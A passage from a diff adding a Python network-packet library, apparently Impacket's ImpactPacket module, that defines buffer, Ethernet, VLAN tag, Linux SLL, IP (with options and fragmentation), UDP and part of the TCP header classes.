value, order = '!'): + "Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 4) + ary = array.array("B", struct.pack(order + 'L', value)) + if -4 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+4] = ary + + def get_long(self, index, order = '!'): + "Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 4) + if -4 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+4] + (value,) = struct.unpack(order + 'L', array_tobytes(bytes)) + return value + + def set_long_long(self, index, value, order = '!'): + "Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 8) + ary = array.array("B", struct.pack(order + 'Q', value)) + if -8 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+8] = ary + + def get_long_long(self, index, order = '!'): + "Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 8) + if -8 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+8] + (value,) = struct.unpack(order + 'Q', array_tobytes(bytes)) + return value + + + def get_ip_address(self, index): + "Return 4-byte value at 'index' as an IP string" + index = self.__validate_index(index, 4) + if -4 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+4] + return socket.inet_ntoa(array_tobytes(bytes)) + + def set_ip_address(self, index, ip_string): + "Set 4-byte value at 'index' from 'ip_string'" + index = self.__validate_index(index, 4) + raw = socket.inet_aton(ip_string) + (b1,b2,b3,b4) = struct.unpack("BBBB", raw) + self.set_byte(index, b1) + self.set_byte(index + 1, b2) + self.set_byte(index + 2, b3) + self.set_byte(index + 3, b4) + + def set_checksum_from_data(self, index, data): + "Set 16-bit checksum at 'index' by calculating checksum of 'data'" + self.set_word(index, self.compute_checksum(data)) + + def compute_checksum(self, anArray): + "Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'" + nleft = len(anArray) + sum = 0 + pos = 0 + while nleft > 1: + sum = anArray[pos] * 256 + (anArray[pos + 1] + sum) + pos = pos + 2 + nleft = nleft - 2 + if nleft == 1: + sum = sum + anArray[pos] * 256 + return self.normalize_checksum(sum) + + def normalize_checksum(self, aValue): + sum = aValue + sum = (sum >> 16) + (sum & 0xFFFF) + sum += (sum >> 16) + sum = (~sum & 0xFFFF) + return sum + + def __validate_index(self, index, size): + """This method performs two tasks: to allocate enough space to + fit the elements at positions index through index+size, and to + adjust negative indexes to their absolute equivalent. + """ + + orig_index = index + + curlen = len(self.__bytes) + if index < 0: + index = curlen + index + + diff = index + size - curlen + if diff > 0: + array_frombytes(self.__bytes, b'\0' * diff) + if orig_index < 0: + orig_index -= diff + + return orig_index + +class ProtocolLayer(): + "Protocol Layer Manager for insertion and removal of protocol layers." + + __child = None + __parent = None + + def contains(self, aHeader): + "Set 'aHeader' as the child of this protocol layer" + self.__child = aHeader + aHeader.set_parent(self) + + def set_parent(self, my_parent): + "Set the header 'my_parent' as the parent of this protocol layer" + self.__parent = my_parent + + def child(self): + "Return the child of this protocol layer" + return self.__child + + def parent(self): + "Return the parent of this protocol layer" + return self.__parent + + def unlink_child(self): + "Break the hierarchy parent/child child/parent" + if self.__child: + self.__child.set_parent(None) + self.__child = None + +class ProtocolPacket(ProtocolLayer): + __HEADER_SIZE = 0 + __BODY_SIZE = 0 + __TAIL_SIZE = 0 + + __header = None + __body = None + __tail = None + + def __init__(self, header_size, tail_size): + self.__HEADER_SIZE = header_size + self.__TAIL_SIZE = tail_size + self.__header=PacketBuffer(self.__HEADER_SIZE) + self.__body=PacketBuffer() + self.__tail=PacketBuffer(self.__TAIL_SIZE) + + def __update_body_from_child(self): + # Update child raw packet in my body + if self.child(): + body=self.child().get_packet() + self.__BODY_SIZE=len(body) + self.__body.set_bytes_from_string(body) + + def __get_header(self): + return self.__header + + header = property(__get_header) + + def __get_body(self): + self.__update_body_from_child() + return self.__body + + body = property(__get_body) + + def __get_tail(self): + return self.__tail + + tail = property(__get_tail) + + def get_header_size(self): + "Return frame header size" + return self.__HEADER_SIZE + + def get_tail_size(self): + "Return frame tail size" + return self.__TAIL_SIZE + + def get_body_size(self): + "Return frame body size" + self.__update_body_from_child() + return self.__BODY_SIZE + + def get_size(self): + "Return frame total size" + return self.get_header_size()+self.get_body_size()+self.get_tail_size() + + def load_header(self, aBuffer): + self.__HEADER_SIZE=len(aBuffer) + self.__header.set_bytes_from_string(aBuffer) + + def load_body(self, aBuffer): + "Load the packet body from string. "\ + "WARNING: Using this function will break the hierarchy of preceding protocol layer" + self.unlink_child() + self.__BODY_SIZE=len(aBuffer) + self.__body.set_bytes_from_string(aBuffer) + + def load_tail(self, aBuffer): + self.__TAIL_SIZE=len(aBuffer) + self.__tail.set_bytes_from_string(aBuffer) + + def __extract_header(self, aBuffer): + self.load_header(aBuffer[:self.__HEADER_SIZE]) + + def __extract_body(self, aBuffer): + if self.__TAIL_SIZE<=0: + end=None + else: + end=-self.__TAIL_SIZE + self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end]) + self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end]) + + def __extract_tail(self, aBuffer): + if self.__TAIL_SIZE<=0: + # leave the array empty + return + else: + start=-self.__TAIL_SIZE + self.__tail.set_bytes_from_string(aBuffer[start:]) + + def load_packet(self, aBuffer): + "Load the whole packet from a string" \ + "WARNING: Using this function will break the hierarchy of preceding protocol layer" + self.unlink_child() + + self.__extract_header(aBuffer) + self.__extract_body(aBuffer) + self.__extract_tail(aBuffer) + + def get_header_as_string(self): + return self.__header.get_buffer_as_string() + + def get_body_as_string(self): + self.__update_body_from_child() + return self.__body.get_buffer_as_string() + body_string = property(get_body_as_string) + + def get_tail_as_string(self): + return self.__tail.get_buffer_as_string() + tail_string = property(get_tail_as_string) + + def get_packet(self): + self.__update_body_from_child() + + ret = b'' + + header = self.get_header_as_string() + if header: + ret += header + + body = self.get_body_as_string() + if body: + ret += body + + tail = self.get_tail_as_string() + if tail: + ret += tail + + return ret + +class Header(PacketBuffer,ProtocolLayer): + "This is the base class from which all protocol definitions extend." + + packet_printable = [c for c in string.printable if c not in string.whitespace] + [' '] + + ethertype = None + protocol = None + def __init__(self, length = None): + PacketBuffer.__init__(self, length) + self.auto_checksum = 1 + + def get_data_as_string(self): + "Returns all data from children of this header as string" + + if self.child(): + return self.child().get_packet() + else: + return None + + def get_packet(self): + """Returns the raw representation of this packet and its + children as a string. The output from this method is a packet + ready to be transmitted over the wire. + """ + self.calculate_checksum() + + data = self.get_data_as_string() + if data: + return self.get_buffer_as_string() + data + else: + return self.get_buffer_as_string() + + def get_size(self): + "Return the size of this header and all of it's children" + tmp_value = self.get_header_size() + if self.child(): + tmp_value = tmp_value + self.child().get_size() + return tmp_value + + def calculate_checksum(self): + "Calculate and set the checksum for this header" + pass + + def get_pseudo_header(self): + "Pseudo headers can be used to limit over what content will the checksums be calculated." + # default implementation returns empty array + return array.array('B') + + def load_header(self, aBuffer): + "Properly set the state of this instance to reflect that of the raw packet passed as argument." + self.set_bytes_from_string(aBuffer) + hdr_len = self.get_header_size() + if(len(aBuffer) < hdr_len): #we must do something like this + diff = hdr_len - len(aBuffer) + for i in range(0, diff): + aBuffer += '\x00' + self.set_bytes_from_string(aBuffer[:hdr_len]) + + def get_header_size(self): + "Return the size of this header, that is, not counting neither the size of the children nor of the parents." + raise RuntimeError("Method %s.get_header_size must be overridden." % self.__class__) + + def list_as_hex(self, aList): + if len(aList): + ltmp = [] + line = [] + count = 0 + for byte in aList: + if not (count % 2): + if (count % 16): + ltmp.append(' ') + else: + ltmp.append(' '*4) + ltmp.append(''.join(line)) + ltmp.append('\n') + line = [] + if chr(byte) in Header.packet_printable: + line.append(chr(byte)) + else: + line.append('.') + ltmp.append('%.2x' % byte) + count += 1 + if (count%16): + left = 16 - (count%16) + ltmp.append(' ' * (4+(left // 2) + (left*2))) + ltmp.append(''.join(line)) + ltmp.append('\n') + return ltmp + else: + return [] + + def __str__(self): + ltmp = self.list_as_hex(self.get_bytes().tolist()) + + if self.child(): + ltmp.append(['\n', str(self.child())]) + + if len(ltmp)>0: + return ''.join(ltmp) + else: + return '' + + + +class Data(Header): + """This packet type can hold raw data. It's normally employed to + hold a packet's innermost layer's contents in those cases for + which the protocol details are unknown, and there's a copy of a + valid packet available. + + For instance, if all that's known about a certain protocol is that + a UDP packet with its contents set to "HELLO" initiate a new + session, creating such packet is as simple as in the following code + fragment: + packet = UDP() + packet.contains('HELLO') + """ + + def __init__(self, aBuffer = None): + Header.__init__(self) + if aBuffer: + self.set_data(aBuffer) + + def set_data(self, data): + self.set_bytes_from_string(data) + + def get_size(self): + return len(self.get_bytes()) + + +class EthernetTag(PacketBuffer): + """Represents a VLAN header specified in IEEE 802.1Q and 802.1ad. + Provides methods for convenient manipulation with header fields.""" + + def __init__(self, value=0x81000000): + PacketBuffer.__init__(self, 4) + self.set_long(0, value) + + def get_tpid(self): + """Returns Tag Protocol Identifier""" + return self.get_word(0) + + def set_tpid(self, value): + """Sets Tag Protocol Identifier""" + return self.set_word(0, value) + + def get_pcp(self): + """Returns Priority Code Point""" + return (self.get_byte(2) & 0xE0) >> 5 + + def set_pcp(self, value): + """Sets Priority Code Point""" + orig_value = self.get_byte(2) + self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5)) + + def get_dei(self): + """Returns Drop Eligible Indicator""" + return (self.get_byte(2) & 0x10) >> 4 + + def set_dei(self, value): + """Sets Drop Eligible Indicator""" + orig_value = self.get_byte(2) + self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF) + + def get_vid(self): + """Returns VLAN Identifier""" + return self.get_word(2) & 0x0FFF + + def set_vid(self, value): + """Sets VLAN Identifier""" + orig_value = self.get_word(2) + self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF)) + + def __str__(self): + priorities = ( + 'Best Effort', + 'Background', + 'Excellent Effort', + 'Critical Applications', + 'Video, < 100 ms latency and jitter', + 'Voice, < 10 ms latency and jitter', + 'Internetwork Control', + 'Network Control') + + pcp = self.get_pcp() + return '\n'.join(( + '802.1Q header: 0x{0:08X}'.format(self.get_long(0)), + 'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]), + 'Drop Eligible Indicator: {0}'.format(self.get_dei()), + 'VLAN Identifier: {0}'.format(self.get_vid()))) + + +class Ethernet(Header): + def __init__(self, aBuffer = None): + Header.__init__(self, 14) + self.tag_cnt = 0 + if(aBuffer): + self.load_header(aBuffer) + + def set_ether_type(self, aValue): + "Set ethernet data type field to 'aValue'" + self.set_word(12 + 4*self.tag_cnt, aValue) + + def get_ether_type(self): + "Return ethernet data type field" + return self.get_word(12 + 4*self.tag_cnt) + + def get_tag(self, index): + """Returns an EthernetTag initialized from index-th VLAN tag. + The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. + It is possible to use negative indexes as well.""" + index = self.__validate_tag_index(index) + return EthernetTag(self.get_long(12+4*index)) + + def set_tag(self, index, tag): + """Sets the index-th VLAN tag to contents of an EthernetTag object. + The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. + It is possible to use negative indexes as well.""" + index = self.__validate_tag_index(index) + pos = 12 + 4*index + for i,val in enumerate(tag.get_bytes()): + self.set_byte(pos+i, val) + + def push_tag(self, tag, index=0): + """Inserts contents of an EthernetTag object before the index-th VLAN tag. + Index defaults to 0 (the top of the stack).""" + if index < 0: + index += self.tag_cnt + pos = 12 + 4*max(0, min(index, self.tag_cnt)) + data = self.get_bytes() + data[pos:pos] = tag.get_bytes() + self.set_bytes(data) + self.tag_cnt += 1 + + def pop_tag(self, index=0): + """Removes the index-th VLAN tag and returns it as an EthernetTag object. + Index defaults to 0 (the top of the stack).""" + index = self.__validate_tag_index(index) + pos = 12 + 4*index + tag = self.get_long(pos) + data = self.get_bytes() + del data[pos:pos+4] + self.set_bytes(data) + self.tag_cnt -= 1 + return EthernetTag(tag) + + def load_header(self, aBuffer): + self.tag_cnt = 0 + while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in (b'\x81\x00', b'\x88\xa8', b'\x91\x00'): + self.tag_cnt += 1 + + hdr_len = self.get_header_size() + diff = hdr_len - len(aBuffer) + if diff > 0: + aBuffer += b'\x00'*diff + self.set_bytes_from_string(aBuffer[:hdr_len]) + + def get_header_size(self): + "Return size of Ethernet header" + return 14 + 4*self.tag_cnt + + def get_packet(self): + + if self.child(): + try: + self.set_ether_type(self.child().ethertype) + except: + " an Ethernet packet may have a Data() " + pass + return Header.get_packet(self) + + def get_ether_dhost(self): + "Return 48 bit destination ethernet address as a 6 byte array" + return self.get_bytes()[0:6] + + def set_ether_dhost(self, aValue): + "Set destination ethernet address from 6 byte array 'aValue'" + for i in range(0, 6): + self.set_byte(i, aValue[i]) + + def get_ether_shost(self): + "Return 48 bit source ethernet address as a 6 byte array" + return self.get_bytes()[6:12] + + def set_ether_shost(self, aValue): + "Set source ethernet address from 6 byte array 'aValue'" + for i in range(0, 6): + self.set_byte(i + 6, aValue[i]) + + @staticmethod + def as_eth_addr(anArray): + tmp_list = [x > 15 and '%x'%x or '0%x'%x for x in anArray] + return '' + reduce(lambda x, y: x+':'+y, tmp_list) + + def __str__(self): + tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> ' + tmp_str += self.as_eth_addr(self.get_ether_dhost()) + if self.child(): + tmp_str += '\n' + str( self.child()) + return tmp_str + + def __validate_tag_index(self, index): + """Adjusts negative indices to their absolute equivalents. + Raises IndexError when out of range <0, self.tag_cnt-1>.""" + if index < 0: + index += self.tag_cnt + if index < 0 or index >= self.tag_cnt: + raise IndexError("Tag index out of range") + return index + +# Linux "cooked" capture encapsulation. +# Used, for instance, for packets returned by the "any" interface. +class LinuxSLL(Header): + type_descriptions = [ + "sent to us by somebody else", + "broadcast by somebody else", + "multicast by somebody else", + "sent to somebody else to somebody else", + "sent by us", + ] + + def __init__(self, aBuffer = None): + Header.__init__(self, 16) + if (aBuffer): + self.load_header(aBuffer) + + def set_type(self, type): + "Sets the packet type field to type" + self.set_word(0, type) + + def get_type(self): + "Returns the packet type field" + return self.get_word(0) + + def set_arphdr(self, value): + "Sets the ARPHDR value for the link layer device type" + self.set_word(2, type) + + def get_arphdr(self): + "Returns the ARPHDR value for the link layer device type" + return self.get_word(2) + + def set_addr_len(self, len): + "Sets the length of the sender's address field to len" + self.set_word(4, len) + + def get_addr_len(self): + "Returns the length of the sender's address field" + return self.get_word(4) + + def set_addr(self, addr): + "Sets the sender's address field to addr. Addr must be at most 8-byte long." + if (len(addr) < 8): + addr += b'\0' * (8 - len(addr)) + self.get_bytes()[6:14] = addr + + def get_addr(self): + "Returns the sender's address field" + return array_tobytes(self.get_bytes()[6:14]) + + def set_ether_type(self, aValue): + "Set ethernet data type field to 'aValue'" + self.set_word(14, aValue) + + def get_ether_type(self): + "Return ethernet data type field" + return self.get_word(14) + + def get_header_size(self): + "Return size of packet header" + return 16 + + def get_packet(self): + if self.child(): + self.set_ether_type(self.child().ethertype) + return Header.get_packet(self) + + def get_type_desc(self): + type = self.get_type() + if type < len(LinuxSLL.type_descriptions): + return LinuxSLL.type_descriptions[type] + else: + return "Unknown" + + def __str__(self): + ss = [] + alen = self.get_addr_len() + addr = hexlify(self.get_addr()[0:alen]) + ss.append("Linux SLL: addr=%s type=`%s'" % (addr, self.get_type_desc())) + if self.child(): + ss.append(str(self.child())) + + return '\n'.join(ss) + + +class IP(Header): + ethertype = 0x800 + def __init__(self, aBuffer = None): + Header.__init__(self, 20) + self.set_ip_v(4) + self.set_ip_hl(5) + self.set_ip_ttl(255) + self.__option_list = [] + if(aBuffer): + # When decoding, checksum shouldn't be modified + self.auto_checksum = 0 + self.load_header(aBuffer) + + if sys.platform.count('bsd'): + self.is_BSD = True + else: + self.is_BSD = False + + + def get_packet(self): + # set protocol + if self.get_ip_p() == 0 and self.child(): + self.set_ip_p(self.child().protocol) + + # set total length + if self.get_ip_len() == 0: + self.set_ip_len(self.get_size()) + + child_data = self.get_data_as_string() + + if self.auto_checksum: + self.reset_ip_sum() + + my_bytes = self.get_bytes() + + for op in self.__option_list: + my_bytes.extend(op.get_bytes()) + + # Pad to a multiple of 4 bytes + num_pad = (4 - (len(my_bytes) % 4)) % 4 + if num_pad: + array_frombytes(my_bytes, b"\0" * num_pad) + + # only change ip_hl value if options are present + if len(self.__option_list): + self.set_ip_hl(len(my_bytes) // 4) + + + # set the checksum if the user hasn't modified it + if self.auto_checksum: + self.set_ip_sum(self.compute_checksum(my_bytes)) + + if child_data is None: + return array_tobytes(my_bytes) + else: + return array_tobytes(my_bytes) + child_data + + + + # def calculate_checksum(self, buffer = None): + # tmp_value = self.get_ip_sum() + # if self.auto_checksum and (not tmp_value): + # if buffer: + # tmp_bytes = buffer + # else: + # tmp_bytes = self.bytes[0:self.get_header_size()] + # + # self.set_ip_sum(self.compute_checksum(tmp_bytes)) + + + def get_pseudo_header(self): + pseudo_buf = array.array("B") + pseudo_buf.extend(self.get_bytes()[12:20]) + pseudo_buf.fromlist([0]) + pseudo_buf.extend(self.get_bytes()[9:10]) + tmp_size = self.child().get_size() + + size_str = struct.pack("!H", tmp_size) + + array_frombytes(pseudo_buf, size_str) + return pseudo_buf + + def add_option(self, option): + self.__option_list.append(option) + sum = 0 + for op in self.__option_list: + sum += op.get_len() + if sum > 40: + raise ImpactPacketException("Options overflowed in IP packet with length: %d" % sum) + + + def get_ip_v(self): + n = self.get_byte(0) + return (n >> 4) + + def set_ip_v(self, value): + n = self.get_byte(0) + version = value & 0xF + n = n & 0xF + n = n | (version << 4) + self.set_byte(0, n) + + def get_ip_hl(self): + n = self.get_byte(0) + return (n & 0xF) + + def set_ip_hl(self, value): + n = self.get_byte(0) + len = value & 0xF + n = n & 0xF0 + n = (n | len) + self.set_byte(0, n) + + def get_ip_tos(self): + return self.get_byte(1) + + def set_ip_tos(self,value): + self.set_byte(1, value) + + def get_ip_len(self): + if self.is_BSD: + return self.get_word(2, order = '=') + else: + return self.get_word(2) + + def set_ip_len(self, value): + if self.is_BSD: + self.set_word(2, value, order = '=') + else: + self.set_word(2, value) + + def get_ip_id(self): + return self.get_word(4) + def set_ip_id(self, value): + return self.set_word(4, value) + + def get_ip_off(self): + if self.is_BSD: + return self.get_word(6, order = '=') + else: + return self.get_word(6) + + def set_ip_off(self, aValue): + if self.is_BSD: + self.set_word(6, aValue, order = '=') + else: + self.set_word(6, aValue) + + def get_ip_offmask(self): + return self.get_ip_off() & 0x1FFF + + def set_ip_offmask(self, aValue): + tmp_value = self.get_ip_off() & 0xD000 + tmp_value |= aValue + self.set_ip_off(tmp_value) + + def get_ip_rf(self): + return self.get_ip_off() & 0x8000 + + def set_ip_rf(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x8000 + else: + my_not = 0xFFFF ^ 0x8000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + def get_ip_df(self): + return self.get_ip_off() & 0x4000 + + def set_ip_df(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x4000 + else: + my_not = 0xFFFF ^ 0x4000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + def get_ip_mf(self): + return self.get_ip_off() & 0x2000 + + def set_ip_mf(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x2000 + else: + my_not = 0xFFFF ^ 0x2000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + + def fragment_by_list(self, aList): + if self.child(): + proto = self.child().protocol + else: + proto = 0 + + child_data = self.get_data_as_string() + if not child_data: + return [self] + + ip_header_bytes = self.get_bytes() + current_offset = 0 + fragment_list = [] + + for frag_size in aList: + ip = IP() + ip.set_bytes(ip_header_bytes) # copy of original header + ip.set_ip_p(proto) + + + if frag_size % 8: # round this fragment size up to next multiple of 8 + frag_size += 8 - (frag_size % 8) + + + ip.set_ip_offmask(current_offset // 8) + current_offset += frag_size + + data = Data(child_data[:frag_size]) + child_data = child_data[frag_size:] + + ip.set_ip_len(20 + data.get_size()) + ip.contains(data) + + + if child_data: + + ip.set_ip_mf(1) + + fragment_list.append(ip) + else: # no more data bytes left to add to fragments + + ip.set_ip_mf(0) + + fragment_list.append(ip) + return fragment_list + + if child_data: # any remaining data? + # create a fragment containing all of the remaining child_data + ip = IP() + ip.set_bytes(ip_header_bytes) + ip.set_ip_offmask(current_offset) + ip.set_ip_len(20 + len(child_data)) + data = Data(child_data) + ip.contains(data) + fragment_list.append(ip) + + return fragment_list + + + def fragment_by_size(self, aSize): + data_len = len(self.get_data_as_string()) + num_frags = data_len // aSize + + if data_len % aSize: + num_frags += 1 + + size_list = [] + for i in range(0, num_frags): + size_list.append(aSize) + return self.fragment_by_list(size_list) + + + def get_ip_ttl(self): + return self.get_byte(8) + def set_ip_ttl(self, value): + self.set_byte(8, value) + + def get_ip_p(self): + return self.get_byte(9) + + def set_ip_p(self, value): + self.set_byte(9, value) + + def get_ip_sum(self): + return self.get_word(10) + def set_ip_sum(self, value): + self.auto_checksum = 0 + self.set_word(10, value) + + def reset_ip_sum(self): + self.set_ip_sum(0x0000) + self.auto_checksum = 1 + + def get_ip_src(self): + return self.get_ip_address(12) + def set_ip_src(self, value): + self.set_ip_address(12, value) + + def get_ip_dst(self): + return self.get_ip_address(16) + + def set_ip_dst(self, value): + self.set_ip_address(16, value) + + def get_header_size(self): + op_len = 0 + for op in self.__option_list: + op_len += op.get_len() + + num_pad = (4 - (op_len % 4)) % 4 + + return 20 + op_len + num_pad + + def load_header(self, aBuffer): + self.set_bytes_from_string(aBuffer[:20]) + opt_left = (self.get_ip_hl() - 5) * 4 + opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) + if len(opt_bytes) != opt_left: + raise ImpactPacketException("Cannot load options from truncated packet") + + + while opt_left: + op_type = opt_bytes[0] + if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP: + new_option = IPOption(op_type) + op_len = 1 + else: + op_len = opt_bytes[1] + if op_len > len(opt_bytes): + raise ImpactPacketException("IP Option length is too high") + + new_option = IPOption(op_type, op_len) + new_option.set_bytes(opt_bytes[:op_len]) + + opt_bytes = opt_bytes[op_len:] + opt_left -= op_len + self.add_option(new_option) + if op_type == IPOption.IPOPT_EOL: + break + + + def __str__(self): + flags = ' ' + if self.get_ip_df(): + flags += 'DF ' + if self.get_ip_mf(): + flags += 'MF ' + if self.get_ip_rf(): + flags += 'RF ' + tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst()) + for op in self.__option_list: + tmp_str += '\n' + str(op) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + +class IPOption(PacketBuffer): + IPOPT_EOL = 0 + IPOPT_NOP = 1 + IPOPT_RR = 7 + IPOPT_TS = 68 + IPOPT_LSRR = 131 + IPOPT_SSRR = 137 + + def __init__(self, opcode = 0, size = None): + if size and (size < 3 or size > 40): + raise ImpactPacketException("IP Options must have a size between 3 and 40 bytes") + + if(opcode == IPOption.IPOPT_EOL): + PacketBuffer.__init__(self, 1) + self.set_code(IPOption.IPOPT_EOL) + elif(opcode == IPOption.IPOPT_NOP): + PacketBuffer.__init__(self, 1) + self.set_code(IPOption.IPOPT_NOP) + elif(opcode == IPOption.IPOPT_RR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_RR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_LSRR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_LSRR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_SSRR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_SSRR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_TS): + if not size: + size = 40 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_TS) + self.set_len(size) + self.set_ptr(5) + self.set_flags(0) + else: + if not size: + raise ImpactPacketException("Size required for this type") + PacketBuffer.__init__(self,size) + self.set_code(opcode) + self.set_len(size) + + + def append_ip(self, ip): + op = self.get_code() + if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == IPOption.IPOPT_TS): + raise ImpactPacketException("append_ip() not support for option type %d" % self.opt_type) + + p = self.get_ptr() + if not p: + raise ImpactPacketException("append_ip() failed, option ptr uninitialized") + + if (p + 4) > self.get_len(): + raise ImpactPacketException("append_ip() would overflow option") + + self.set_ip_address(p - 1, ip) + p += 4 + self.set_ptr(p) + + + def set_code(self, value): + self.set_byte(0, value) + + def get_code(self): + return self.get_byte(0) + + + def set_flags(self, flags): + if not (self.get_code() == IPOption.IPOPT_TS): + raise ImpactPacketException("Operation only supported on Timestamp option") + self.set_byte(3, flags) + + def get_flags(self, flags): + if not (self.get_code() == IPOption.IPOPT_TS): + raise ImpactPacketException("Operation only supported on Timestamp option") + return self.get_byte(3) + + + def set_len(self, len): + self.set_byte(1, len) + + + def set_ptr(self, ptr): + self.set_byte(2, ptr) + + def get_ptr(self): + return self.get_byte(2) + + def get_len(self): + return len(self.get_bytes()) + + + def __str__(self): + map = {IPOption.IPOPT_EOL : "End of List ", + IPOption.IPOPT_NOP : "No Operation ", + IPOption.IPOPT_RR : "Record Route ", + IPOption.IPOPT_TS : "Timestamp ", + IPOption.IPOPT_LSRR : "Loose Source Route ", + IPOption.IPOPT_SSRR : "Strict Source Route "} + + tmp_str = "\tIP Option: " + op = self.get_code() + if op in map: + tmp_str += map[op] + else: + tmp_str += "Code: %d " % op + + if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR: + tmp_str += self.print_addresses() + + + return tmp_str + + + def print_addresses(self): + p = 3 + tmp_str = "[" + if self.get_len() >= 7: # at least one complete IP address + while 1: + if p + 1 == self.get_ptr(): + tmp_str += "#" + tmp_str += self.get_ip_address(p) + p += 4 + if p >= self.get_len(): + break + else: + tmp_str += ", " + tmp_str += "] " + if self.get_ptr() % 4: # ptr field should be a multiple of 4 + tmp_str += "nonsense ptr field: %d " % self.get_ptr() + return tmp_str + + +class UDP(Header): + protocol = 17 + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if(aBuffer): + self.load_header(aBuffer) + + def get_uh_sport(self): + return self.get_word(0) + def set_uh_sport(self, value): + self.set_word(0, value) + + def get_uh_dport(self): + return self.get_word(2) + def set_uh_dport(self, value): + self.set_word(2, value) + + def get_uh_ulen(self): + return self.get_word(4) + + def set_uh_ulen(self, value): + self.set_word(4, value) + + def get_uh_sum(self): + return self.get_word(6) + + def set_uh_sum(self, value): + self.set_word(6, value) + self.auto_checksum = 0 + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_uh_sum()): + # if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing + # and won't meddle with the checksum or throw an exception + if not self.parent(): + return + + buffer = self.parent().get_pseudo_header() + + buffer += self.get_bytes() + data = self.get_data_as_string() + if(data): + array_frombytes(buffer, data) + self.set_uh_sum(self.compute_checksum(buffer)) + + def get_header_size(self): + return 8 + + def __str__(self): + tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport()) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + def get_packet(self): + # set total length + if(self.get_uh_ulen() == 0): + self.set_uh_ulen(self.get_size()) + return Header.get_packet(self) + +class TCP(Header): + protocol = 6 + TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags + def __init__(self, aBuffer = None): + Header.__init__(self, 20) + self.set_th_off(5) + self.__option_list = [] + if aBuffer: + self.load_header(aBuffer) + + def add_option(self, option): + self.__option_list.append(option) + + sum = 0 + for op in self.__option_list: + sum += op.get_size() + + if sum > 40: + raise ImpactPacketException("Cannot add TCP option, would overflow option space") + + def get_options(self): + return self.__option_list + + def swapSourceAndDestination(self): + oldSource = self.get_th_sport() + self.set_th_sport(self.get_th_dport()) + self.set_th_dport(oldSource) + + # + # Header field accessors + # + + def set_th_sport(self, aValue): + self.set_word(0, aValue) + + def get_th_sport(self): + return self.get_word(0) + + def get_th_dport(self): + return self.get_word(2) + + def set_th_dport(self, aValue): + self.set_word(2, aValue) + + def get_th_seq(self): + return self.get_long(4) + + def set_th_seq(self, aValue): + self.set_long(4, aValue) + + def get_th_ack(self): + return self.get_long(8) + + def set_th_ack(self, aValue): + self.set_long(8, aValue) + + def get_th_flags(self): + return self.get_word(12) & self.TCP_FLAGS_MASK + + def set_th_flags(self, aValue): + masked = self.get_word(12) & (~self.TCP_FLAGS_MASK) + nb = masked | (aValue & self.TCP_FLAGS_MASK) + return self.set_word(12, nb, ">") + + def get_th_win(self): + return self.get_word(14) + + def set_th_win(self, aValue): + self.set_word(14, aValue) + + def set_th_sum(self, aValue): + self.set_word(16, aValue) + self.auto_checksum = 0 + + def get_th_sum(self): + return self.get_word(16) + + def get_th_urp(self): + return self.get_word(18) + + def set_th_urp(self, aValue): + return self.set_word(18, aValue) + + # Flag accessors + + def get_th_reserved(self): + tmp_value = self.get_byte(12) & 0x0f + return tmp_value + + + def get_th_off(self): + tmp_value = self.get_byte(12) >> 4 + return tmp_value + + def set_th_off(self, aValue): + mask = 0xF0 + masked = self.get_byte(12) & (~mask) + nb = masked | ( (aValue << 4) & mask) + return self.set_byte(12, nb) + + def get_CWR(self): + return self.get_flag(128) + def set_CWR(self): + return self.set_flags(128) + def reset_CWR(self): + return self.reset_flags(128) + + def get_ECE(self): + return self.get_flag(64) + def set_ECE(self): + return self.set_flags(64) + def reset_ECE(self): + return 